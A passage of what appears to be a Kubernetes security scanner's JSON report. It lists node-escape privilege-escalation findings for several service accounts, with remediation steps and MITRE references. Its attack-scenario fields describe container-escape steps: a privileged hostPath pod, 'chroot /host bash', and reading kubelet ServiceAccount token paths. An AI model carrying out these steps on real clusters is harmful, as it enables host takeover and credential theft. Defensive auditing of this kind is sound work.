      "Audit any namespace that is `privileged`-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.",
      "Remove the cited capability: remove the permission `delete pods + update nodes/status` that enables the first hop (`ServiceAccount/cutres/cutres-parallel` → `/`).",
      "Wire admission policy (Kyverno `restrict-host-path-mount`, `disallow-privileged-containers`) so future pods cannot regress."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "node_drain_migrate",
        "technique": "KUBE-PRIVESC-016",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "cutres-parallel",
          "namespace": "cutres"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "delete pods + update nodes/status",
        "gains": "can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.1",
        "title": "Minimize the admission of privileged containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:node_escape"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NODE-ESCAPE:ServiceAccount/deepchain-tenant/deepchain-privileged:node_escape",
    "rule_id": "KUBE-PRIVESC-PATH-NODE-ESCAPE",
    "severity": "HIGH",
    "score": 8.5,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/deepchain-tenant/deepchain-privileged` can reach **node escape** (host root) in 1 hop(s)",
    "description": "Subject `ServiceAccount/deepchain-tenant/deepchain-privileged` has a privesc path that terminates in the ability to schedule a pod with host-level access (`hostPath: /`, `privileged: true`, `hostPID`, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.\n\nThe chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):\n  1. `ServiceAccount/deepchain-tenant/deepchain-privileged` → `/` via `node_drain_migrate` (delete pods + update nodes/status): can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation\n\nNode escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's `cni0/flannel.1/cali*` interface, and exfiltrate every projected ServiceAccount token by reading `/var/lib/kubelet/pods/*/volumes/.../token`. From there, those tokens cascade into more cluster-admin paths.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "deepchain-privileged",
      "namespace": "deepchain-tenant"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/deepchain-tenant/deepchain-privileged` → `node escape`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/deepchain-tenant/deepchain-privileged` yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/deepchain-tenant/deepchain-privileged`.",
      "Acting as `ServiceAccount/deepchain-tenant/deepchain-privileged`, the attacker uses the `node_drain_migrate` technique via `delete pods + update nodes/status`, which gains can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation.",
      "Final step: a privileged pod with `hostPath: /` (or `hostPID + privileged: true`) is created. The attacker `chroot /host bash` and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert."
    ],
    "evidence": {
      "chain_summary": [
        "1. node_drain_migrate [delete pods + update nodes/status]"
      ],
      "first_action": "node_drain_migrate",
      "hop_count": 1,
      "target": "node_escape",
      "target_namespace": "",
      "techniques": [
        "node_drain_migrate"
      ]
    },
    "remediation": "Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission `delete pods + update nodes/status` that enables the first hop (`ServiceAccount/deepchain-tenant/deepchain-privileged` → `/`).",
    "remediation_steps": [
      "Identify which hop ends in `pod_create_*` or grants Pod Security violations (`privileged`, `hostPath`, `hostPID`, `hostNetwork`).",
      "Apply Pod Security Admission `restricted` profile to namespaces reachable from this chain: `kubectl label namespace \u003cns\u003e pod-security.kubernetes.io/enforce=restricted`. This blocks privileged pods at admission.",
      "Audit any namespace that is `privileged`-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.",
      "Remove the cited capability: remove the permission `delete pods + update nodes/status` that enables the first hop (`ServiceAccount/deepchain-tenant/deepchain-privileged` → `/`).",
      "Wire admission policy (Kyverno `restrict-host-path-mount`, `disallow-privileged-containers`) so future pods cannot regress."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "node_drain_migrate",
        "technique": "KUBE-PRIVESC-016",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "deepchain-privileged",
          "namespace": "deepchain-tenant"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "delete pods + update nodes/status",
        "gains": "can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.1",
        "title": "Minimize the admission of privileged containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:node_escape"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NODE-ESCAPE:ServiceAccount/flat-network/default:node_escape",
    "rule_id": "KUBE-PRIVESC-PATH-NODE-ESCAPE",
    "severity": "HIGH",
    "score": 8.5,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/flat-network/default` can reach **node escape** (host root) in 1 hop(s)",
    "description": "Subject `ServiceAccount/flat-network/default` has a privesc path that terminates in the ability to schedule a pod with host-level access (`hostPath: /`, `privileged: true`, `hostPID`, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.\n\nThe chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):\n  1. `ServiceAccount/flat-network/default` → `/` via `imds_node_role_pivot` (IMDS reachable, IRSA unbound): pod flat-network/api-55d9f69c7d-czs2f falls back to node IAM role via IMDS\n\nNode escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's `cni0/flannel.1/cali*` interface, and exfiltrate every projected ServiceAccount token by reading `/var/lib/kubelet/pods/*/volumes/.../token`. From there, those tokens cascade into more cluster-admin paths.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "default",
      "namespace": "flat-network"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/flat-network/default` → `node escape`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/flat-network/default` yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/flat-network/default`.",
      "Acting as `ServiceAccount/flat-network/default`, the attacker uses the `imds_node_role_pivot` technique via `IMDS reachable, IRSA unbound`, which gains pod flat-network/api-55d9f69c7d-czs2f falls back to node IAM role via IMDS.",
      "Final step: a privileged pod with `hostPath: /` (or `hostPID + privileged: true`) is created. The attacker `chroot /host bash` and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert."
    ],
    "evidence": {
      "chain_summary": [
        "1. imds_node_role_pivot [IMDS reachable, IRSA unbound]"
      ],
      "first_action": "imds_node_role_pivot",
      "hop_count": 1,
      "target": "node_escape",
      "target_namespace": "",
      "techniques": [
        "imds_node_role_pivot"
      ]
    },
    "remediation": "Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/flat-network/default` → `/`).",
    "remediation_steps": [
      "Identify which hop ends in `pod_create_*` or grants Pod Security violations (`privileged`, `hostPath`, `hostPID`, `hostNetwork`).",
      "Apply Pod Security Admission `restricted` profile to namespaces reachable from this chain: `kubectl label namespace \u003cns\u003e pod-security.kubernetes.io/enforce=restricted`. This blocks privileged pods at admission.",
      "Audit any namespace that is `privileged`-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.",
      "Remove the cited capability: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/flat-network/default` → `/`).",
      "Wire admission policy (Kyverno `restrict-host-path-mount`, `disallow-privileged-containers`) so future pods cannot regress."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "imds_node_role_pivot",
        "technique": "KUBE-CLOUD-IMDS-PIVOT-001",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "default",
          "namespace": "flat-network"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "IMDS reachable, IRSA unbound",
        "gains": "pod flat-network/api-55d9f69c7d-czs2f falls back to node IAM role via IMDS"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.1",
        "title": "Minimize the admission of privileged containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:node_escape"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NODE-ESCAPE:ServiceAccount/flux-system/kustomize-controller:node_escape",
    "rule_id": "KUBE-PRIVESC-PATH-NODE-ESCAPE",
    "severity": "HIGH",
    "score": 8.5,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/flux-system/kustomize-controller` can reach **node escape** (host root) in 1 hop(s)",
    "description": "Subject `ServiceAccount/flux-system/kustomize-controller` has a privesc path that terminates in the ability to schedule a pod with host-level access (`hostPath: /`, `privileged: true`, `hostPID`, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.\n\nThe chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):\n  1. `ServiceAccount/flux-system/kustomize-controller` → `/` via `node_drain_migrate` (delete pods + update nodes/status): can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation\n\nNode escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's `cni0/flannel.1/cali*` interface, and exfiltrate every projected ServiceAccount token by reading `/var/lib/kubelet/pods/*/volumes/.../token`. From there, those tokens cascade into more cluster-admin paths.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "kustomize-controller",
      "namespace": "flux-system"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/flux-system/kustomize-controller` → `node escape`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/flux-system/kustomize-controller` yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/flux-system/kustomize-controller`.",
      "Acting as `ServiceAccount/flux-system/kustomize-controller`, the attacker uses the `node_drain_migrate` technique via `delete pods + update nodes/status`, which gains can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation.",
      "Final step: a privileged pod with `hostPath: /` (or `hostPID + privileged: true`) is created. The attacker `chroot /host bash` and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert."
    ],
    "evidence": {
      "chain_summary": [
        "1. node_drain_migrate [delete pods + update nodes/status]"
      ],
      "first_action": "node_drain_migrate",
      "hop_count": 1,
      "target": "node_escape",
      "target_namespace": "",
      "techniques": [
        "node_drain_migrate"
      ]
    },
    "remediation": "Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission `delete pods + update nodes/status` that enables the first hop (`ServiceAccount/flux-system/kustomize-controller` → `/`).",
    "remediation_steps": [
      "Identify which hop ends in `pod_create_*` or grants Pod Security violations (`privileged`, `hostPath`, `hostPID`, `hostNetwork`).",
      "Apply Pod Security Admission `restricted` profile to namespaces reachable from this chain: `kubectl label namespace \u003cns\u003e pod-security.kubernetes.io/enforce=restricted`. This blocks privileged pods at admission.",
      "Audit any namespace that is `privileged`-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.",
      "Remove the cited capability: remove the permission `delete pods + update nodes/status` that enables the first hop (`ServiceAccount/flux-system/kustomize-controller` → `/`).",
      "Wire admission policy (Kyverno `restrict-host-path-mount`, `disallow-privileged-containers`) so future pods cannot regress."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "node_drain_migrate",
        "technique": "KUBE-PRIVESC-016",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "kustomize-controller",
          "namespace": "flux-system"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "delete pods + update nodes/status",
        "gains": "can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.1",
        "title": "Minimize the admission of privileged containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:node_escape"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NODE-ESCAPE:ServiceAccount/foothold-exec/foothold-decoy-sa:node_escape",
    "rule_id": "KUBE-PRIVESC-PATH-NODE-ESCAPE",
    "severity": "HIGH",
    "score": 8.5,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/foothold-exec/foothold-decoy-sa` can reach **node escape** (host root) in 1 hop(s)",
    "description": "Subject `ServiceAccount/foothold-exec/foothold-decoy-sa` has a privesc path that terminates in the ability to schedule a pod with host-level access (`hostPath: /`, `privileged: true`, `hostPID`, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.\n\nThe chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):\n  1. `ServiceAccount/foothold-exec/foothold-decoy-sa` → `/` via `node_drain_migrate` (delete pods + update nodes/status): can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation\n\nNode escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's `cni0/flannel.1/cali*` interface, and exfiltrate every projected ServiceAccount token by reading `/var/lib/kubelet/pods/*/volumes/.../token`. From there, those tokens cascade into more cluster-admin paths.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "foothold-decoy-sa",
      "namespace": "foothold-exec"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/foothold-exec/foothold-decoy-sa` → `node escape`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/foothold-exec/foothold-decoy-sa` yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/foothold-exec/foothold-decoy-sa`.",
      "Acting as `ServiceAccount/foothold-exec/foothold-decoy-sa`, the attacker uses the `node_drain_migrate` technique via `delete pods + update nodes/status`, which gains can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation.",
      "Final step: a privileged pod with `hostPath: /` (or `hostPID + privileged: true`) is created. The attacker `chroot /host bash` and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert."
    ],
    "evidence": {
      "chain_summary": [
        "1. node_drain_migrate [delete pods + update nodes/status]"
      ],
      "first_action": "node_drain_migrate",
      "hop_count": 1,
      "target": "node_escape",
      "target_namespace": "",
      "techniques": [
        "node_drain_migrate"
      ]
    },
    "remediation": "Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission `delete pods + update nodes/status` that enables the first hop (`ServiceAccount/foothold-exec/foothold-decoy-sa` → `/`).",
    "remediation_steps": [
      "Identify which hop ends in `pod_create_*` or grants Pod Security violations (`privileged`, `hostPath`, `hostPID`, `hostNetwork`).",
      "Apply Pod Security Admission `restricted` profile to namespaces reachable from this chain: `kubectl label namespace \u003cns\u003e pod-security.kubernetes.io/enforce=restricted`. This blocks privileged pods at admission.",
      "Audit any namespace that is `privileged`-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.",
      "Remove the cited capability: remove the permission `delete pods + update nodes/status` that enables the first hop (`ServiceAccount/foothold-exec/foothold-decoy-sa` → `/`).",
      "Wire admission policy (Kyverno `restrict-host-path-mount`, `disallow-privileged-containers`) so future pods cannot regress."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "node_drain_migrate",
        "technique": "KUBE-PRIVESC-016",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-decoy-sa",
          "namespace": "foothold-exec"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "delete pods + update nodes/status",
        "gains": "can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.1",
        "title": "Minimize the admission of privileged containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:node_escape"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NODE-ESCAPE:ServiceAccount/foothold-exec/foothold-reader:node_escape",
    "rule_id": "KUBE-PRIVESC-PATH-NODE-ESCAPE",
    "severity": "HIGH",
    "score": 8.5,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/foothold-exec/foothold-reader` can reach **node escape** (host root) in 1 hop(s)",
    "description": "Subject `ServiceAccount/foothold-exec/foothold-reader` has a privesc path that terminates in the ability to schedule a pod with host-level access (`hostPath: /`, `privileged: true`, `hostPID`, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.\n\nThe chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):\n  1. `ServiceAccount/foothold-exec/foothold-reader` → `/` via `imds_node_role_pivot` (IMDS reachable, IRSA unbound): pod foothold-exec/foothold-target falls back to node IAM role via IMDS\n\nNode escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's `cni0/flannel.1/cali*` interface, and exfiltrate every projected ServiceAccount token by reading `/var/lib/kubelet/pods/*/volumes/.../token`. From there, those tokens cascade into more cluster-admin paths.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "foothold-reader",
      "namespace": "foothold-exec"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/foothold-exec/foothold-reader` → `node escape`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/foothold-exec/foothold-reader` yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.",
